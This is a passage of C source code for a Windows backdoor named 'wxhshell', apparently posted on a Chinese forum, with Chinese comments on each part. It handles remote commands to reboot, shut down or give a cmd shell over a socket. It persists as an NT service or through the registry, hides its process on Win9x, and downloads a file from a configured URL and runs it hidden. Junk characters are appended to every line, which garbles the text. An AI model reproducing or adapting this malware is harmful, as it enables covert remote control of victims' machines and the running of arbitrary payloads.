      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2kdC]|H2?  
    break; nA P.^_K  
  } /I)yU>o  
  // 安装 Q2 zjZC*'%  
  case 'i': { } @K FB  
    if(Install()) `D`sr[3n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[>wB[w  
    else I4i2+ *l}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?_"+^R z  
    break; j7sKsbb  
    } 0G7K8`a  
  // 卸载 >=UF-xk;  
  case 'r': { w=LP"bqlI  
    if(Uninstall()) _^el\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tj Gd )  
    else OR}c)|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|R T?Q  
    break; ][W_[0v  
    } K?s+3  
  // 显示 wxhshell 所在路径 FDVcow*]n  
  case 'p': { 9AxCiT.  
    char svExeFile[MAX_PATH]; w=^`w:5X  
    strcpy(svExeFile,"\n\r"); w QNxL5B  
      strcat(svExeFile,ExeFile); 6)vSG7Ise  
        send(wsh,svExeFile,strlen(svExeFile),0); R  zf  
    break; ua5OGx  
    } e*bH0';q  
  // 重启 ]4R[<<hd  
  case 'b': { q4}PM[K?=\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qtbbb3m;  
    if(Boot(REBOOT)) fO0(Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F1jglH/MF)  
    else { +n<k)E@>J  
    closesocket(wsh); ]%BWIqbr  
    ExitThread(0); dxZu2&gi  
    } S,<EEtXQ  
    break; UJfEC0  
    } YqPQ%  
  // 关机 uq, { tV  
  case 'd': { x~GQV^(l3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {"&SJt[%X  
    if(Boot(SHUTDOWN)) /1x,h"T\<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5i:x$ww  
    else { ~zSCg|"r  
    closesocket(wsh); @+9<O0  
    ExitThread(0); -1ce<nN  
    } ]u4Hk?j~<  
    break; K_2|_MLlZ  
    } EL8NZ%:v:  
  // 获取shell E<C&Cjz:H  
  case 's': { U Z|HJ8_  
    CmdShell(wsh); dbOdq  
    closesocket(wsh); FXzFHU/dP  
    ExitThread(0); z I+\Oll#Q  
    break; H ,+? t  
  } xdf82)  
  // 退出 =JKv:</.G  
  case 'x': { mt5KbA>nU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /9zE^YcT  
    CloseIt(wsh); V5GW:QT  
    break; Tszp3,]f  
    } 34wkzu  
  // 离开 {dL?rQ>5L  
  case 'q': { MXzVgy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "y_#7K  
    closesocket(wsh); [5uRS}!  
    WSACleanup(); A |3tI  
    exit(1); G7)Fk%>  
    break; ' Hi : 2Wh  
        } Kx=4~  
  } :$_6SQ<?  
  } H}H7lO  
N nk@h  
  // 提示信息 mcn 2Wt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m=:4`_0Q  
} e|&6$A>4]  
  } `5~ +,/Ys  
UK1_0tp]x  
  return; /DqLrA  
} 4#5:~M }  
x7vctjM|  
// shell模块句柄 u`olW%C/T  
int CmdShell(SOCKET sock) Q>R>R*1.j  
{ m}8[#:  
STARTUPINFO si; >~`r:0',  
ZeroMemory(&si,sizeof(si)); I j$lDJS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ;b`[&g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K =wBpLB  
PROCESS_INFORMATION ProcessInfo; XuD=E  
char cmdline[]="cmd"; rHf&:~   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F:D orE  
  return 0; <JV"@H=  
} m8 SA6Y\  
M)+$wp  
// 自身启动模式 Ndo a4L)$  
int StartFromService(void) C=s1R;"H  
{ !A>z(eIsv`  
typedef struct ?UK|>9y}Z  
{ 7C$ 5  
  DWORD ExitStatus; cZ(elZ0~  
  DWORD PebBaseAddress; 0b/WpP  
  DWORD AffinityMask; f)g7 3=  
  DWORD BasePriority; -AhwI  
  ULONG UniqueProcessId; t\RF=BbJJ  
  ULONG InheritedFromUniqueProcessId; B%KG3]  
}   PROCESS_BASIC_INFORMATION; wtT}V=_  
&z]K\-xp  
PROCNTQSIP NtQueryInformationProcess; etoo #h"]1  
kl"+YF5/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "*;;H^d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ JvPx0  
@h*fFiY&{  
  HANDLE             hProcess; HLBkR>e  
  PROCESS_BASIC_INFORMATION pbi; >@ YtDl8R  
WWL4`s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j S;J:$>^  
  if(NULL == hInst ) return 0; }?&k a$rI  
 Y!WG)u5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,R$u?c0>'&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P7 PB t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OiAJ[L  
=1P6Vk  
  if (!NtQueryInformationProcess) return 0; ?KITC;\\  
4*aZ>R2hO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4J?t_)  
  if(!hProcess) return 0; $2<d<Um~z  
^/5XZ} *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #/NS&_Ge0s  
,jC3Fcly  
  CloseHandle(hProcess); <BO)E(  
!r`,=jK"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Nu1BLPm  
if(hProcess==NULL) return 0; i 9g>9  
_;4 [Q1  
HMODULE hMod; n39t}`WIl  
char procName[255]; +4\U)Z/\  
unsigned long cbNeeded; \o\nr!=k  
>XOiu#kC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U|HB=BP  
gr-fXZO  
  CloseHandle(hProcess); h?-#9<A  
(;%|-{7e-  
if(strstr(procName,"services")) return 1; // 以服务启动 GZ{]0$9I'  
,+g&o^T  
  return 0; // 注册表启动 f50L,4,  
} -!0_:m3  
kNT}dv]<  
// 主模块 VyRsPg[(  
int StartWxhshell(LPSTR lpCmdLine) VdP`a(Yd;  
{ i/b'4o=8  
  SOCKET wsl; XX1Il;1G#  
BOOL val=TRUE; l<Q>N|1#k%  
  int port=0; |ou b!fG4  
  struct sockaddr_in door; d*oUfiW  
^m/14MN|  
  if(wscfg.ws_autoins) Install(); NxVw!TsR  
a=XW[TY1  
port=atoi(lpCmdLine); QI]Ih  
Sa"9^_.2#  
if(port<=0) port=wscfg.ws_port; Dfd-^N!  
( Y+N@d  
  WSADATA data; 15$4&=O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P/JK$nb  
8 4i_k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3+J0!FVla  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J(#mtj>v_  
  door.sin_family = AF_INET; @\w,otT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n6(i`{i  
  door.sin_port = htons(port); }tPk@$  
m^_6:Q0F!8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '!P"xBVAu  
closesocket(wsl); YUQtMf9  
return 1; hUz[uyt  
} N$TL;T>  
;pD)m/$h`  
  if(listen(wsl,2) == INVALID_SOCKET) { q!f1~aG  
closesocket(wsl); q> s-Y|  
return 1; 4wi(?  
} Xnuzr" 4u  
  Wxhshell(wsl); /U6% %%-D`  
  WSACleanup(); \<vNVz7.D  
fbFX4?-  
return 0; Qp2I[Ioz3  
yAL1O94  
} ]NhS=3*i+  
aS|wpm)K>8  
// 以NT服务方式启动 ^). )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D;Gq)]O  
{ OzT#1T1'c  
DWORD   status = 0; CzV(cSS9-  
  DWORD   specificError = 0xfffffff; {F N;'Uc  
iqhOi|!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Vg}V"QR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dbS +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /D_+{dtE  
  serviceStatus.dwWin32ExitCode     = 0; `]$?uQ  
  serviceStatus.dwServiceSpecificExitCode = 0; _{jP;W  
  serviceStatus.dwCheckPoint       = 0; sA9 &/p/  
  serviceStatus.dwWaitHint       = 0; -ng=l;  
8hA^`Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fg/dS6=n`?  
  if (hServiceStatusHandle==0) return; wA`"\MWm  
wFlvi=n/  
status = GetLastError(); NZu)j["  
  if (status!=NO_ERROR) j<pw\k{i  
{ AGYm';z3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `>D9P_Y"jI  
    serviceStatus.dwCheckPoint       = 0; 7%OKH<i\2<  
    serviceStatus.dwWaitHint       = 0; 9Q W&$n^  
    serviceStatus.dwWin32ExitCode     = status; kC$&:\Rh  
    serviceStatus.dwServiceSpecificExitCode = specificError; u)Q;8$`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4R>zPEo  
    return; o2-@o= F  
  } ;r=b|B9c  
b'ml=a#i 0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BO.dz06(Rw  
  serviceStatus.dwCheckPoint       = 0; f>$h@/-*  
  serviceStatus.dwWaitHint       = 0; &~B5.sppnB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5)zn:$cz  
} (1pEEq84  
-{|`H[nmD  
// 处理NT服务事件,比如:启动、停止 1Q}mf!Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %HtuR2#ca  
{ 6Ggs JU  
switch(fdwControl) !C:rb   
{ :f'&z47  
case SERVICE_CONTROL_STOP: N0n^L|(R  
  serviceStatus.dwWin32ExitCode = 0; /T0nLp`gi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K#K\-TR|$  
  serviceStatus.dwCheckPoint   = 0; v_PdOp[ k  
  serviceStatus.dwWaitHint     = 0; %'L;FPxB  
  { AF4?IH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A1cb"N^  
  } =QV ::/  
  return; &[?CTZ  
case SERVICE_CONTROL_PAUSE: +c206.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6S?x D5 (  
  break; OySy6IN]q  
case SERVICE_CONTROL_CONTINUE: Nq8@Nyp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >s*DrfX6  
  break; iO!6}yJ*V  
case SERVICE_CONTROL_INTERROGATE: ++[5q+b  
  break; d]0a%Xh[  
}; W( *V2<$o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<tq1?? [b  
} qH%")7>  
myQ&%M gx  
// 标准应用程序主函数 \tJFAc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;n#%G^!H  
{ -E&e1u,Mi  
1M%S gV-#  
// 获取操作系统版本 !)NidG  
OsIsNt=GetOsVer(); ]Ql 0v"` F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H5wb_yBQ+  
H!IDV }dn  
  // 从命令行安装 %4>x!{jwV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~hN~>0O  
i 6no;}j  
  // 下载执行文件 n l/UdgI  
if(wscfg.ws_downexe) { "c`xH@D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xc'vS>&  
  WinExec(wscfg.ws_filenam,SW_HIDE); V*jsq[q=  
} h.tY 'F  
Q]JX`HgPaU  
if(!OsIsNt) { &hZwZgV +3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Z %:  
HideProc(); p5 ]_}I`+2  
StartWxhshell(lpCmdLine); BQgoVnQo_c  
} {_ V0  
else "/x_>ui1F  
  if(StartFromService()) LZ~`29qw(  
  // 以服务方式启动 ~o15#Pfn/  
  StartServiceCtrlDispatcher(DispatchTable); T|'&K:[TJ  
else l\q} |o  
  // 普通方式启动 )c tr"&-  
  StartWxhshell(lpCmdLine); k{Lv37H  
Wr|G:(kw\!  
return 0; HD# r0)  
}
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只看该作者 1 发表于: 2006-10-10
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